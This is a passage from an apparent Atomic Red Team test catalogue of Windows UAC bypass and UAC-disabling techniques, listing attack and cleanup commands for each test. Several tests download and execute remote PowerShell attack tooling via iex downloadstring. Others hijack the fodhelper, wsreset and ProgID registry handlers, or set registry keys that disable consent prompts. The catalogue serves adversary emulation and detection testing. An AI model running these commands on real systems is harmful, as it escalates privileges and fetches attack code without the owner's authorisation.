UAC bypass using Magic technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magicGUIDa86bed78-b8a0-4266-a2cf-6c3603cb089e | ||||||||||||||||||||
| 19 | WinPwn - UAC Bypass ccmstp technique | windows | PowerShell | — | — | — | ||||||||||||||
UAC bypass using ccmstp technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstpGUID2018a88f-9f1d-4afb-a13d-a9fae4f999cf | ||||||||||||||||||||
| 20 | WinPwn - UAC Bypass DiskCleanup technique | windows | PowerShell | — | — | — | ||||||||||||||
UAC bypass using DiskCleanup technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanupGUID7d66baaa-8e56-4bd0-b15a-1f57dfa7394e | ||||||||||||||||||||
| 21 | WinPwn - UAC Bypass DccwBypassUAC technique | windows | PowerShell | — | — | — | ||||||||||||||
UAC Bypass DccwBypassUAC technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')GUID4f5ce951-7df7-4206-b016-090cebcafaac | ||||||||||||||||||||
| 22 | Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key | windows | PowerShell | Required | — | Yes | ||||||||||||||
Disable User Account Conrol (UAC) for admin by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0. MedusaLocker Ransomware, Purple Fox Rootkit, Avaddon Ransomware Attack command $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force Cleanup command Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force GUIDae3cea11-a257-4265-8220-c33d948957e0 | ||||||||||||||||||||
| 23 | UAC Bypass with WSReset Registry Modification | windows | PowerShell | — | — | Yes | ||||||||||||||
The following UAC bypass is focused on a registry key under "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command" that will trigger a command once wsreset.exe runs. This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be. If successful, the command to run will spawn off wsreset.exe. UAC Bypass in Windows 10 Store Binary Input arguments
Attack command New-Item #{commandpath} -Force | Out-Null
New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle HiddenCleanup command Remove-Item #{commandpath} -Recurse -Force
GUID6a3861a3-566c-49cb-827d-9c761b8b54f2 | ||||||||||||||||||||
| 24 | Disable UAC - Switch to the secure desktop when prompting for elevation via registry key | windows | PowerShell | Required | — | Yes | ||||||||||||||
User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. This setting ensures that the elevation prompt is only used in secure desktop mode. Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0. Attack command Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force Cleanup command Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force GUIDcab148e3-e7b6-43fc-84ba-53a091fed2d8 | ||||||||||||||||||||
| 25 | Disable UAC notification via registry keys | windows | cmd | — | — | Yes | ||||||||||||||
This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicious software to execute with elevated privileges. Article Attack command reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f Cleanup command reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f GUID44a13796-9572-42cd-a197-748bd6e399f4 | ||||||||||||||||||||
| 26 | Disable ConsentPromptBehaviorAdmin via registry keys | windows | cmd | — | — | Yes | ||||||||||||||
This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction. Attack command reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f Cleanup command reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f GUID65370086-78e9-496d-9189-2c31695cbd46 | ||||||||||||||||||||
| 27 | UAC bypassed by Utilizing ProgIDs registry. | windows | cmd | — | — | Yes | ||||||||||||||
This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry. Attack command reg add "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /d "C:\Windows\System32\calc.exe" /f reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /d ".pwn" /f echo Triggering fodhelper.exe for potential privilege escalation... start fodhelper.exe Cleanup command reg delete "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /f reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /f GUID2a4b1d75-3b5a-43db-bdeb-104f589ebc11 | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition